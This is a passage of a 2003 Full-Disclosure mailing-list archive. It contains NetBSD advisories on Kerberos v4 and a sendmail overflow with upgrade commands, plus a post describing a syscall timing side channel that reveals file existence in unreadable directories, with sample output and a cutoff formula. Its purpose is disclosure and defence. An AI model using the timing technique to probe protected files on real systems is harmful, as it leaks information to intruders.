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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBPo12tHey5gA9JdPZAQExTQf+OWFAmPg/bt+BWNFWdJPF4XHB37NDX5B0 ckOFGItPq19RtrKY3K80vkruNCEd6hBeVr5FuoG1+VodYOypV8G2toELtGPvPz1X /YHneSzg7qbBnzE65qsHeFv4H/ietYAvgakY9aFZX1dh5mldCYl+Ja7479V6LP9h pxryqFkMwnw6WAKHADcYSjazMRIvF3LvrzeqbKBFBDqt39itcUuM8brC/tt1HzPV 3bWZ1NRLIxguTI/xYo5SyrAb/wLoneU8Vmn6YTgqD3MRZ3JnCStWCjmKK382a8yl dfBPzDzYKKRzpP5wzGDKQapbdDJ1bBjw9iITD6LVQeSfLqkUPUmSEA== =WPBB -----END PGP SIGNATURE----- -- ~ ~ perl self.pl ~ $_='print"\$_=\47$_\47;eval"';eval ~ krahmer at suse.de - SuSE Security Team ~ From debian-security-announce at lists.debian.org Fri Apr 4 14:08:30 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Fri, 4 Apr 2003 15:08:30 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 278-1] New sendmail packages fix denial of service Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030404/0bd4fb16/attachment.ksh From debian-security-announce at lists.debian.org Fri Apr 4 15:57:35 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Fri, 4 Apr 2003 16:57:35 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 278-2] New sendmail packages fix DoS and arbitrary code execution Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030404/11c658e5/attachment.ksh From security-officer at netbsd.org Fri Apr 4 17:45:11 2003 From: security-officer at netbsd.org (NetBSD Security Officer) Date: Fri, 4 Apr 2003 11:45:11 -0500 Subject: [Full-Disclosure] NetBSD Security Advisory 2003-006: Cryptographic weaknesses in Kerberos v4 protocol Message-ID: <20030404164511.GK22049@vex> -----BEGIN PGP SIGNED MESSAGE----- NetBSD Security Advisory 2003-006 ================================= Topic: Cryptographic weaknesses in Kerberos v4 protocol Version: NetBSD-current: source prior to March 20, 2003 NetBSD 1.6: affected NetBSD-1.5.3: affected NetBSD-1.5.2: affected NetBSD-1.5.1: affected NetBSD-1.5: affected pkgsrc: prior to kth-krb4-1.2.1 or heimdal-0.5.1 Severity: Every user on a Kerberos 4 network can be compromised Fixed: NetBSD-current: March 20, 2003 NetBSD-1.6 branch: March 22, 2003 (1.6.1 will include the fix) NetBSD-1.5 branch: April 1, 2003 pkgsrc: kth-krb4-1.2.2, heimdal-0.5.2 Abstract ======== A cryptographic weakness in version 4 of the Kerberos protocol allows an attacker to use a chosen-plaintext attack to impersonate any principal in a realm. This attack subverts a site's entire Kerberos authentication infrastructure. Kerberos version 5 does not contain this cryptographic vulnerability. Sites are not vulnerable if they have Kerberos v4 completely disabled, including the disabling of any krb5 to krb4 translation services. Technical Details ================= An attacker controlling a krb4 shared cross-realm key can impersonate any principal in the remote realm to any service in the remote realm. This can lead to a root-level compromise of a KDC, along with compromise of any hosts that rely on authentication provided by that KDC. This attack may be performed against cross-realm principals, thus allowing an attacker to hop realms and compromise any realm that transitively shares a cross-realm key with the attacker's local realm. Related, but more difficult attacks may be possible without requiring the control of a shared cross-realm key. At the very least, an attacker capable of creating arbitrary principal names in the target realm may be able to perform the attack. A leak has occurred of an unpublished paper containing enough details about the vulnerability that an attacker familiar with the krb4 protocol can easily construct an exploit. No exploit is known to be circulating at this time, though. These are PROTOCOL vulnerabilities; fixes inherently involve restricting the functionality of the protocol. The fixes are required for the KDC machine - patches are not needed on the clients, if v4 is disabled on the server. Solutions and Workarounds ========================= If you can't upgrade to a newer version, make sure you disable all cross-realm functionality, remove or randomize the cross-realm key. You can use ``kinit --version'' do determine if you have a vulnerable system current: kinit (Heimdal 0.5nb2, KTH-KRB 1.2) Copyright (c) 1999-2002 Kungliga Tekniska H?gskolan Send bug-reports to heimdal-bugs at pdc.kth.se is secure/safe. The following instructions describe how to upgrade your affected binaries by updating your source tree and rebuilding and installing a new version of Heimdal. * NetBSD-current: Systems running NetBSD-current dated from before 2003-03-20 should be upgraded to NetBSD-current dated 2003-03-21 or later. The following directories need to be updated from the netbsd-current CVS branch (aka HEAD): crypto/dist/heimdal/kdc include/heimdal To update from CVS, re-build, and re-install your KDC binaries. # cd src # cvs update -d -P crypto/dist/heimdal/kdc include/heimdal # cd crypto/dist/heimdal/kdc # make USETOOLS=no cleandir dependall # make USETOOLS=no install * NetBSD 1.6: The binary distribution of NetBSD 1.6 is vulnerable. Systems running NetBSD 1.6 sources dated from before 2003-03-22 should be upgraded from NetBSD 1.6 sources dated 2003-03-23 or later. NetBSD 1.6.1 will include the fix. The following directories need to be updated from the netbsd-1-6 CVS branch: crypto/dist/heimdal/kdc include/heimdal To update from CVS, re-build, and re-install your KDC binaries. # cd src # cvs update -d -P -r netbsd-1-6 crypto/dist/heimdal/kdc \ include/heimdal # cd crypto/dist/heimdal/kdc # make USETOOLS=no cleandir dependall # make USETOOLS=no install * NetBSD 1.5, 1.5.1, 1.5.2, 1.5.3: The binary distribution of NetBSD 1.5.3 is vulnerable. Systems running NetBSD 1.5, 1.5.1, 1.5.2, or 1.5.3 sources dated from before 2003-03-31 should be upgraded from NetBSD 1.5.* sources dated 2003-04-01 or later. The following directories need to be updated from the netbsd-1-5 CVS branch: crypto/dist/heimdal/kdc include/heimdal To update from CVS, re-build, and re-install your KDC binaries. # cd src # cvs update -d -P -r netbsd-1-5 crypto/dist/heimdal/kdc \ include/heimdal # cd crypto/dist/heimdal/kdc # make cleandir dependall # make install Thanks To ========= Sam Hartman and Tom Yu for notifying us in the first place and providing text for the advisory. Steve Bellovin provided some hints that led MIT people to discover this vulnerability. Love Hornquist-Astrand for coordination of information exchange. Revision History ================ 2003-04-04 Initial release More Information ================ Advisories may be updated as new information becomes available. The most recent version of this advisory (PGP signed) can be found at ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2003-006.txt.asc Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/. Copyright 2003, The NetBSD Foundation, Inc. All Rights Reserved. Redistribution permitted only in full, unmodified form. $NetBSD: NetBSD-SA2003-006.txt,v 1.6 2003/04/04 06:12:17 wiz Exp $ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (NetBSD) Comment: For info see http://www.gnupg.org iQCVAwUBPo2tkT5Ru2/4N2IFAQEATQQAr6wpwA3pkd4y9TJRYBEQbPcrthTxT7S1 ORPzFy1lvllI64BQRxPTQ0/5vVPDr0kBOUhI7PajeuW4m6JcULTWKkG1D8m8jlLE AOhbv0avyrLpnk5QuFjM7bQ7ubrCLJO4yu8i+ZdHmgkg818MJSmw2ORVXbkbALxU 6WJ0xdd4Xkw= =3D78 -----END PGP SIGNATURE----- From security-officer at netbsd.org Fri Apr 4 17:45:22 2003 From: security-officer at netbsd.org (NetBSD Security Officer) Date: Fri, 4 Apr 2003 11:45:22 -0500 Subject: [Full-Disclosure] NetBSD Security Advisory 2003-009: sendmail buffer overrun in prescan() address parser Message-ID: <20030404164522.GL22049@vex> -----BEGIN PGP SIGNED MESSAGE----- NetBSD Security Advisory 2003-009 ================================= Topic: sendmail buffer overrun in prescan() address parser Version: NetBSD-current: source prior to Mar 30, 2003 NetBSD 1.6: affected NetBSD-1.5.3: affected NetBSD-1.5.2: affected NetBSD-1.5.1: affected NetBSD-1.5: affected pkgsrc: prior to sendmail-8.12.9 Severity: Remote root compromise Fixed: NetBSD-current: March 30, 2003 NetBSD-1.6 branch: March 30, 2003 (1.6.1 will include the fix) NetBSD-1.5 branch: April 1, 2003 pkgsrc: sendmail-8.12.9 corrects this issue Abstract ======== - From the CERT advisory: There is a remotely exploitable vulnerability in sendmail that could allow an attacker to gain control of a vulnerable sendmail server. Address parsing code in sendmail does not adequately check the length of email addresses. An email message with a specially crafted address could trigger a stack overflow. This vulnerability was discovered by Michal Zalewski. This vulnerability is different than the one described in CA-2003-07. It is a different vulnerability than NetBSD SA2003-002. Technical Details ================= http://www.cert.org/advisories/CA-2003-12.html Solutions and Workarounds ========================= We advise sites running sendmail to upgrade as soon as possible. If upgrading is impossible at this time, we recommend you turn off the sendmail service. To determine if sendmail is running on your system, issue the command: # /etc/rc.d/sendmail status To stop currently running sendmail processes, issue the command: # /etc/rc.d/sendmail stop To ensure sendmail does not start after the next reboot, issue the command: # echo "sendmail=NO" >>/etc/rc.conf.d/sendmail To allow sendmail to start once upgraded, remove the sendmail=NO line from the end of /etc/rc.conf.d/sendmail. The following instructions describe how to upgrade your sendmail binaries by updating your source tree and rebuilding and installing a new version of sendmail. * NetBSD-current: Systems running NetBSD-current dated from before 2003-03-30 should be upgraded to NetBSD-current dated 2003-03-31 or later. The following directories need to be updated from the netbsd-current CVS branch (aka HEAD): gnu/dist/sendmail/sendmail To update from CVS, re-build, and re-install sendmail: # cd src # cvs update -d -P gnu/dist/sendmail/sendmail # cd gnu/usr.sbin/sendmail # make USETOOLS=no cleandir dependall # make USETOOLS=no install * NetBSD 1.6: The binary distribution of NetBSD 1.6 is vulnerable. Systems running NetBSD 1.6 sources dated from before 2003-03-30 should be upgraded from NetBSD 1.6 sources dated 2003-03-31 or later. NetBSD 1.6.1 will include the fix. The following directories need to be updated from the netbsd-1-6 CVS branch: gnu/dist/sendmail/sendmail To update from CVS, re-build, and re-install sendmail: # cd src # cvs update -d -P -r netbsd-1-6 gnu/dist/sendmail/sendmail # cd gnu/usr.sbin/sendmail # make USETOOLS=no cleandir dependall # make USETOOLS=no install * NetBSD 1.5, 1.5.1, 1.5.2, 1.5.3: The binary distribution of NetBSD 1.5.3 is vulnerable. Systems running NetBSD 1.5, 1.5.1, 1.5.2, or 1.5.3 sources dated from before 2003-04-01 should be upgraded from NetBSD 1.5.* sources dated 2003-04-02 or later. The following directories need to be updated from the netbsd-1-5 CVS branch: gnu/dist/sendmail/sendmail To update from CVS, re-build, and re-install sendmail: # cd src # cvs update -d -P -r netbsd-1-5 gnu/dist/sendmail/sendmail # cd gnu/usr.sbin/sendmail # make cleandir dependall # make install Thanks To ========= Michal Zalewski and CERT for notification. Andrew Brown for patches. Revision History ================ 2003-04-04 Initial release More Information ================ Advisories may be updated as new information becomes available. The most recent version of this advisory (PGP signed) can be found at ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2003-009.txt.asc Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/. Copyright 2003, The NetBSD Foundation, Inc. All Rights Reserved. Redistribution permitted only in full, unmodified form. $NetBSD: NetBSD-SA2003-009.txt,v 1.2 2003/04/04 05:52:33 david Exp $ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (NetBSD) Comment: For info see http://www.gnupg.org iQCVAwUBPo2tzz5Ru2/4N2IFAQGqCwP/VHFGvO5DKvScEw5xyRl995roy2ykfVLO xU68gUlFvohn8a8cE5C5+xZqUZsv9Ce72f4QoGm/nAAb8CW7tUft6/kQ+DYmjPpX sYQWOq3m/zcFEmiOzeVpq+KwT/+1vXByjRrBIZkKuXHTqzofaWDv0hvFCbq2d0gB h2JQqTxRA1s= =VjhU -----END PGP SIGNATURE----- From andrewg at d2.net.au Wed Apr 2 20:19:47 2003 From: andrewg at d2.net.au (Andrew Griffiths) Date: Thu, 03 Apr 2003 05:19:47 +1000 Subject: [Full-Disclosure] Syscall implementation could lead to whether or not a file exists Message-ID: <3E8B37D3.50906@d2.net.au> Product: Linux and various other kernels Tested: - RedHat kernel 2.4.18-26.7.x (second latest ;)) - RedHat kernel 2.4.18-27.7.x - Debian 3.0 box - FreeBSD 4.4 Description: Due to the implementation of various system calls, it becomes possible to test whether or not a file exists in a directory that is unreadable. Synopsis: Filenames can be disclosed, which may be useful for other attacks. Problem: By timing how long it takes for the system call to return, you can pretty tell whether or not the file exists, because the failure time is in my testing, three times shorter than if the file exists. To illistrate, here is an example of the attached program running with the open() call. I would think other syscalls such as stat(), mkdir(), chdir(), etc would disclose whether or not a file exists. [+] creating unreachable [+] creating unreachable/iexist [+] chmod 0'ing unreachable [+] d--------- 2 andrewg andrewg 4096 Mar 20 20:37 unreachable/ [+] Timing open() on unreachable/iexist [+] Successful: 12 usecs, got Permission denied [+] Timing open() on unreachable/non-existant [+] Failure: 3 usecs, got Permission denied [+] Using 3 as our cutoff. [+] testing /root/.bashrc and /root/non-existant [+] /root/.bashrc exists (4 usecs), got Permission denied [+] /root/non-existant doesn't exist (2 usecs), got Permission denied After a while of experimentation, I found that the following formuala seems to be relatively decent at avoiding false positivites, on my RH box. cutoff = ((success_time + failure_time) / 3) - 2 This is somewhat dependant on the load on the box, and where the file is located, though it appears. On some OS's (notably freebsd in my testing) it will store the results of into its cache (different to linux, in the sense that it throws off the algo above.). Thus, if you just create a file and time open()ing that, then compare it with a file that has been recently opened, you don't get a fair comparsision. Fix: No known fix exists. Not exactly sure whether a fix is appropiate, as the kernel is meant to be as fast as possible. Exploit: is attached. Information is this email may be redistributed as long as the below signature stays attached. Thanks, Andrew Griffiths -- Attention: Public floggings will continue until morale improves. MidWay_/#melb-wireless licks txrxafk while his defenses are down. Oh boy. That could have been taken out of context. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: filetest.c Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030403/c6085d0d/attachment-0001.c From dotslash at snosoft.com Fri Apr 4 14:28:04 2003 From: dotslash at snosoft.com (KF) Date: Fri, 04 Apr 2003 08:28:04 -0500 Subject: [Full-Disclosure] SRT2003-04-04-1106 - AOLServer Proxy Daemon API unformatted syslog() call Message-ID: <3E8D8864.5040804@snosoft.com> -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: SRT2003-04-04-1106.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030404/d0594a6a/attachment.txt From se_cur_ity at hotmail.com Fri Apr 4 23:04:26 2003 From: se_cur_ity at hotmail.com (Hotmail) Date: Fri, 4 Apr 2003 14:04:26 -0800 Subject: [Full-Disclosure] Webdav Exploit - "Re-Exploiting" not re: Message-ID: Morning Wood Inc 04/04/2003 The webdav exploit does not appear to be able to be executed twice, ie: once a box has been compromised in this fashion it does not seem possible to "re-exploit". This is not 100% comfirmed. 3 of 3 test cases have shown this to be true.. but 3 is a limited sample. morning_wood http://take.candyfrom.us "We get you, before they do" -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030404/51a5861a/attachment.html From yossarian at planet.nl Fri Apr 4 23:30:57 2003 From: yossarian at planet.nl (yossarian) Date: Sat, 05 Apr 2003 00:30:57 +0200 Subject: [Full-Disclosure] Security Industry at its best Message-ID: <003d01c2faf9$dea940b0$0100000a@yrpxb5> The last weeks I have been receiving on one of my accounts an amount of spam advertising Anti-spam software, SpamRemedyPro 1.5, supposedly from the darksoft group, sold thru some company called securediscounts.com. I think this so called company, only giving an adress for orders, not for questions, is the best lark in the industry. Dunno if Norton should be happy having them peddling their software. But it IS cheap, AND no P&P in the US, so people might try... probably just to wait in vain. Anyone else seen them, or knows more 'bout these folks? It appears the name Darksoft is popular, since there are many with this name, but none of them i could google are into anti-spam. I think this is one to avoid and block, but it is using a great amount of different sender adresses etc. it may not be so easy. But then again, some ridiculization might help. The original spam leads you to is www.ns-hosting.com/remedy, hosted in Honghu, china (202.103.190.169). Question for the intelligent people here - will this spam remedy remedy the spam selling spam remedy? From steve at bytebusters.ca Sat Apr 5 00:06:29 2003 From: steve at bytebusters.ca (Stephen Menard) Date: Fri, 4 Apr 2003 19:06:29 -0400 Subject: [Full-Disclosure] Re: improper scan abuse References: Message-ID: <003a01c2fafe$d3720f60$6400a8c0@bytew2k> I do not accept those terms Or maybe everyone should make such claims! ports below have _nothing_ to do with freaking email spam dst:10.162.128.194:6588 dst:10.162.128.194:4480 dst:10.162.128.194:3128 dst:10.162.128.194:1182 dst:10.162.128.194:81 Rule: dst:10.162.128.194:80 Rule: dst:10.162.128.194:1180 dst:10.162.128.194:1080 dst:10.162.128.194:1180 dst:10.162.128.194:1080 dst:10.162.128.194:6588 dst:10.162.128.194:4480 dst:10.162.128.194:3128 dst:10.162.128.194:1182 dst:10.162.128.194:81 Rule: dst:10.162.128.194:80 Rule: dst:10.162.128.194:1180 dst:10.162.128.194:1080 dst:10.162.128.194:1180 dst:10.162.128.194:1080 dst:10.162.128.194:6588 :10.162.128.194:4480 dst:10.162.128.194:3128 dst:10.162.128.194:1182 dst:10.162.128.194:81 Rule: dst:10.162.128.194:80 Rule: dst:10.162.128.194:1180 dst:10.162.128.194:1080 > > Rule: Default deny ----- Original Message ----- From: "Atlantic.Net Abuse Department" To: "Stephen Menard" Sent: Friday, April 04, 2003 5:51 PM Subject: Re: improper scan abuse > Please see http://njabl.org > > o--------------------------------o > Atlantic.Net - Abuse Department > 2815 NW 13th Street, Suite 201 > Gainesville, FL 32609 > 1-800-921-9328 > o--------------------------------o > > On Thu, 3 Apr 2003, Stephen Menard wrote: > > > abuse at atlantic.net > > time AST GMT -0400 > > default deny firewall > > no servers here > > do not scan- will report abuse > > ================================== > > > > Apr/02/2003 16:04:32 > > Drop TCP packet from WAN src:209.208.0.15:10804 dst:10.162.128.194:25 Rule: > > Default deny > > Apr/02/2003 16:04:26 > > Drop TCP packet from WAN src:209.208.0.15:10804 dst:10.162.128.194:25 Rule: > > Default deny > > Apr/02/2003 16:04:23 > > Drop TCP packet from WAN src:209.208.0.15:10804 dst:10.162.128.194:25 Rule: > > Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9784 dst:10.162.128.194:6588 > > Rule: Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9783 dst:10.162.128.194:4480 > > Rule: Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9782 dst:10.162.128.194:3128 > > Rule: Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9781 dst:10.162.128.194:1182 > > Rule: Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9780 dst:10.162.128.194:81 Rule: > > Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9779 dst:10.162.128.194:80 Rule: > > Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9778 dst:10.162.128.194:1180 > > Rule: Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9777 dst:10.162.128.194:1080 > > Rule: Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9776 dst:10.162.128.194:1180 > > Rule: Default deny > > Apr/02/2003 16:04:17 > > Drop TCP packet from WAN src:209.208.0.15:9775 dst:10.162.128.194:1080 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9784 dst:10.162.128.194:6588 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9783 dst:10.162.128.194:4480 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9782 dst:10.162.128.194:3128 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9781 dst:10.162.128.194:1182 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9780 dst:10.162.128.194:81 Rule: > > Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9779 dst:10.162.128.194:80 Rule: > > Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9778 dst:10.162.128.194:1180 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9777 dst:10.162.128.194:1080 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9776 dst:10.162.128.194:1180 > > Rule: Default deny > > Apr/02/2003 16:04:11 > > Drop TCP packet from WAN src:209.208.0.15:9775 dst:10.162.128.194:1080 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9784 dst:10.162.128.194:6588 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9783 dst:10.162.128.194:4480 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9782 dst:10.162.128.194:3128 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9781 dst:10.162.128.194:1182 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9780 dst:10.162.128.194:81 Rule: > > Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9779 dst:10.162.128.194:80 Rule: > > Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9778 dst:10.162.128.194:1180 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9777 dst:10.162.128.194:1080 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9776 dst:10.162.128.194:1180 > > Rule: Default deny > > Apr/02/2003 16:04:08 > > Drop TCP packet from WAN src:209.208.0.15:9775 dst:10.162.128.194:1080 > > Rule: Default deny > > > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.465 / Virus Database: 263 - Release Date: 3/25/2003 > > > From benjamin at seattlefenix.net Sat Apr 5 02:13:40 2003 From: benjamin at seattlefenix.net (Benjamin Krueger) Date: Fri, 4 Apr 2003 17:13:40 -0800 Subject: [Full-Disclosure] Re: improper scan abuse In-Reply-To: <003a01c2fafe$d3720f60$6400a8c0@bytew2k> References: <003a01c2fafe$d3720f60$6400a8c0@bytew2k> Message-ID: <20030405011340.GJ317@surreal.seattlefenix.net> * Stephen Menard (steve at bytebusters.ca) [030404 16:47]: > I do not accept those terms > Or maybe everyone should make such claims! > > ports below have _nothing_ to do with freaking email spam ... *snip many ports commonly used for proxy servers* ... They're scanning for open proxy servers which can be used to relay spam. Like it or not, spammers use open proxies for their dirty deeds and that makes these ports very relevant to email transactions. This practice is becoming more common, so I would suggest making provisions for it in your firewall logging and/or reporting. -- Benjamin Krueger From se_cur_ity at hotmail.com Sat Apr 5 06:32:21 2003 From: se_cur_ity at 